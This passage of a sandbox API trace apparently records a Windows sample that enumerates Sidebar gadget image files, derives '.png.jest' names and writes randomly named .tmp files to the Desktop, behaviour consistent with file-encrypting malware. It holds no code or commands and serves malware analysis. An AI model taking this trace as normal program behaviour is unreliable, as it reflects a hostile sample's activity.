(x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png.jest", lpFilePart=0x18e870*="icon.png.jest") returned 0x4c [0123.938] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", lpFilePart=0x18e6d8*="icon.png") returned 0x47 [0123.938] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3743abc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb3743abc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x78, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 0x143ce48 [0123.938] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.939] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", lpFilePart=0x18e780*="icon.png") returned 0x47 [0123.941] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", lpFilePart=0x18e780*="icon.png") returned 0x47 [0123.941] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.941] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x3bb)) [0123.942] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x3bb)) [0123.942] GetUserDefaultLCID () returned 0x409 [0123.942] VarBstrFromR4 (in: fltIn=0x479443fa, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.95") returned 0x0 [0123.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0123.942] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", lpFilePart=0x18e780*="icon.png") returned 0x47 [0123.943] GetFullPathNameA (in: lpFileName="5A5v2ndUibfHzqRLskqXoUqJ0syBTPssEWFG61ISb8tZ2dsBaD_B1WjDYYPdv4 RNEAL5NxrqTcMhdkIlxhIGDgm ZKU7_Im1Srp0.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5A5v2ndUibfHzqRLskqXoUqJ0syBTPssEWFG61ISb8tZ2dsBaD_B1WjDYYPdv4 RNEAL5NxrqTcMhdkIlxhIGDgm ZKU7_Im1Srp0.tmp", lpFilePart=0x18e708*="5A5v2ndUibfHzqRLskqXoUqJ0syBTPssEWFG61ISb8tZ2dsBaD_B1WjDYYPdv4 RNEAL5NxrqTcMhdkIlxhIGDgm ZKU7_Im1Srp0.tmp") returned 0x8f [0123.943] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\icon.png", lpFilePart=0x18e708*="icon.png") returned 0x47 [0123.944] GetFullPathNameA (in: lpFileName="5A5v2ndUibfHzqRLskqXoUqJ0syBTPssEWFG61ISb8tZ2dsBaD_B1WjDYYPdv4 RNEAL5NxrqTcMhdkIlxhIGDgm ZKU7_Im1Srp0.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5A5v2ndUibfHzqRLskqXoUqJ0syBTPssEWFG61ISb8tZ2dsBaD_B1WjDYYPdv4 RNEAL5NxrqTcMhdkIlxhIGDgm ZKU7_Im1Srp0.tmp", lpFilePart=0x18e6e4*="5A5v2ndUibfHzqRLskqXoUqJ0syBTPssEWFG61ISb8tZ2dsBaD_B1WjDYYPdv4 RNEAL5NxrqTcMhdkIlxhIGDgm ZKU7_Im1Srp0.tmp") returned 0x8f [0123.944] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5A5v2ndUibfHzqRLskqXoUqJ0syBTPssEWFG61ISb8tZ2dsBaD_B1WjDYYPdv4 RNEAL5NxrqTcMhdkIlxhIGDgm ZKU7_Im1Srp0.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x76354135, cFileName="2ndUibfHzqRLskqXoUqJ0syBTPssEWFG61ISb8tZ2dsBaD_B1WjDYYPdv4 RNEAL5NxrqTcMhdkIlxhIGDgm ZKU7_Im1Srp0.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0123.944] GetLastError () returned 0x2 [0123.944] GetLastError () returned 0x2 [0123.944] SetLastError (dwErrCode=0x2) [0123.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0123.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0123.944] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0123.946] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", lpFilePart=0x18e870*="logo.png") returned 0x47 [0123.970] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png.jest", lpFilePart=0x18e870*="logo.png.jest") returned 0x4c [0123.982] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", lpFilePart=0x18e6d8*="logo.png") returned 0x47 [0123.982] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb4a6d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb4a6d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc6d0297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x78, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0x143ce48 [0123.982] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0123.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0123.983] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x47 [0123.983] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x47 [0123.984] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0123.984] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x1)) [0123.984] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x1)) [0123.984] GetUserDefaultLCID () returned 0x409 [0123.984] VarBstrFromR4 (in: fltIn=0x47944400, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75912") returned 0x0 [0123.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0123.984] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x47 [0123.985] GetFullPathNameA (in: lpFileName="IwiwMxjnbGken73hsBWo99539ua65HLP7tT9Y9-Ba9SQvlD8wk8SgN OgfDWBRjJhFKScwLUU7728xd2t8fPjLkBG9OJJszbAAZR1.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IwiwMxjnbGken73hsBWo99539ua65HLP7tT9Y9-Ba9SQvlD8wk8SgN OgfDWBRjJhFKScwLUU7728xd2t8fPjLkBG9OJJszbAAZR1.tmp", lpFilePart=0x18e708*="IwiwMxjnbGken73hsBWo99539ua65HLP7tT9Y9-Ba9SQvlD8wk8SgN OgfDWBRjJhFKScwLUU7728xd2t8fPjLkBG9OJJszbAAZR1.tmp") returned 0x8f [0123.985] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\logo.png", lpFilePart=0x18e708*="logo.png") returned 0x47 [0123.986] GetFullPathNameA (in: lpFileName="IwiwMxjnbGken73hsBWo99539ua65HLP7tT9Y9-Ba9SQvlD8wk8SgN OgfDWBRjJhFKScwLUU7728xd2t8fPjLkBG9OJJszbAAZR1.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IwiwMxjnbGken73hsBWo99539ua65HLP7tT9Y9-Ba9SQvlD8wk8SgN OgfDWBRjJhFKScwLUU7728xd2t8fPjLkBG9OJJszbAAZR1.tmp", lpFilePart=0x18e6e4*="IwiwMxjnbGken73hsBWo99539ua65HLP7tT9Y9-Ba9SQvlD8wk8SgN OgfDWBRjJhFKScwLUU7728xd2t8fPjLkBG9OJJszbAAZR1.tmp") returned 0x8f [0123.986] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IwiwMxjnbGken73hsBWo99539ua65HLP7tT9Y9-Ba9SQvlD8wk8SgN OgfDWBRjJhFKScwLUU7728xd2t8fPjLkBG9OJJszbAAZR1.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x77697749, cFileName="MxjnbGken73hsBWo99539ua65HLP7tT9Y9-Ba9SQvlD8wk8SgN OgfDWBRjJhFKScwLUU7728xd2t8fPjLkBG9OJJszbAAZR1.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0123.986] GetLastError () returned 0x2 [0123.986] GetLastError () returned 0x2 [0123.986] SetLastError (dwErrCode=0x2) [0123.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0123.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0123.986] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0123.988] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", lpFilePart=0x18e870*="logo.png") returned 0x42 [0124.019] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png.jest", lpFilePart=0x18e870*="logo.png.jest") returned 0x47 [0124.054] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", lpFilePart=0x18e6d8*="logo.png") returned 0x42 [0124.055] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ad66a, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba4ad66a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xba58159c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x78, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0x143ce48 [0124.055] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0124.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0124.055] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x42 [0124.056] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x42 [0124.056] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0124.056] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x40)) [0124.056] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x40)) [0124.056] GetUserDefaultLCID () returned 0x409 [0124.056] VarBstrFromR4 (in: fltIn=0x47944408, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75912.06") returned 0x0 [0124.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="Ü") returned 1 [0124.057] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x42 [0124.058] GetFullPathNameA (in: lpFileName="KIjGxvJiVyfuWX2K3fbyRtccvTRQ0ilHZ96FyeCrcyRd8M6SipVEWwrpMRK8k3B4topTlQG1c-32zH3Xw868PdPX6PZaXc_y3t0.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KIjGxvJiVyfuWX2K3fbyRtccvTRQ0ilHZ96FyeCrcyRd8M6SipVEWwrpMRK8k3B4topTlQG1c-32zH3Xw868PdPX6PZaXc_y3t0.tmp", lpFilePart=0x18e708*="KIjGxvJiVyfuWX2K3fbyRtccvTRQ0ilHZ96FyeCrcyRd8M6SipVEWwrpMRK8k3B4topTlQG1c-32zH3Xw868PdPX6PZaXc_y3t0.tmp") returned 0x8d [0124.058] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\CPU.Gadget\\logo.png", lpFilePart=0x18e708*="logo.png") returned 0x42 [0124.058] GetFullPathNameA (in: lpFileName="KIjGxvJiVyfuWX2K3fbyRtccvTRQ0ilHZ96FyeCrcyRd8M6SipVEWwrpMRK8k3B4topTlQG1c-32zH3Xw868PdPX6PZaXc_y3t0.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KIjGxvJiVyfuWX2K3fbyRtccvTRQ0ilHZ96FyeCrcyRd8M6SipVEWwrpMRK8k3B4topTlQG1c-32zH3Xw868PdPX6PZaXc_y3t0.tmp", lpFilePart=0x18e6e4*="KIjGxvJiVyfuWX2K3fbyRtccvTRQ0ilHZ96FyeCrcyRd8M6SipVEWwrpMRK8k3B4topTlQG1c-32zH3Xw868PdPX6PZaXc_y3t0.tmp") returned 0x8d [0124.058] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KIjGxvJiVyfuWX2K3fbyRtccvTRQ0ilHZ96FyeCrcyRd8M6SipVEWwrpMRK8k3B4topTlQG1c-32zH3Xw868PdPX6PZaXc_y3t0.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x476a494b, cFileName="xvJiVyfuWX2K3fbyRtccvTRQ0ilHZ96FyeCrcyRd8M6SipVEWwrpMRK8k3B4topTlQG1c-32zH3Xw868PdPX6PZaXc_y3t0.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0124.059] GetLastError () returned 0x2 [0124.059] GetLastError () returned 0x2 [0124.059] SetLastError (dwErrCode=0x2) [0124.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0124.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0124.059] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0124.061] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", lpFilePart=0x18e870*="logo.png") returned 0x44 [0124.096] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png.jest", lpFilePart=0x18e870*="logo.png.jest") returned 0x49 [0124.135] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", lpFilePart=0x18e6d8*="logo.png") returned 0x44 [0124.135] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9cf0f1e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9cf0f1e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb640b89c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x78, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0x143ce48 [0124.136] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0124.136] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0124.136] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x44 [0124.137] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x44 [0124.137] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0124.137] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x8e)) [0124.137] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xc, wMilliseconds=0x8e)) [0124.137] GetUserDefaultLCID () returned 0x409 [0124.137] VarBstrFromR4 (in: fltIn=0x47944412, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75912.14") returned 0x0 [0124.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="\x02") returned 1 [0124.138] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png", lpFilePart=0x18e780*="logo.png") returned 0x44 [0124.139] GetFullPathNameA (in: lpFileName="nddGVVCtDseCsU4Wvzr-tIqLhgImxJq7q nn5iI YS6jotmGvmnd_HQDcAgUwru-dNDhEgfH62du v1FrSiRHBrF_kq8y8RmqOts.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nddGVVCtDseCsU4Wvzr-tIqLhgImxJq7q nn5iI YS6jotmGvmnd_HQDcAgUwru-dNDhEgfH62du v1FrSiRHBrF_kq8y8RmqOts.tmp", lpFilePart=0x18e708*="nddGVVCtDseCsU4Wvzr-tIqLhgImxJq7q nn5iI 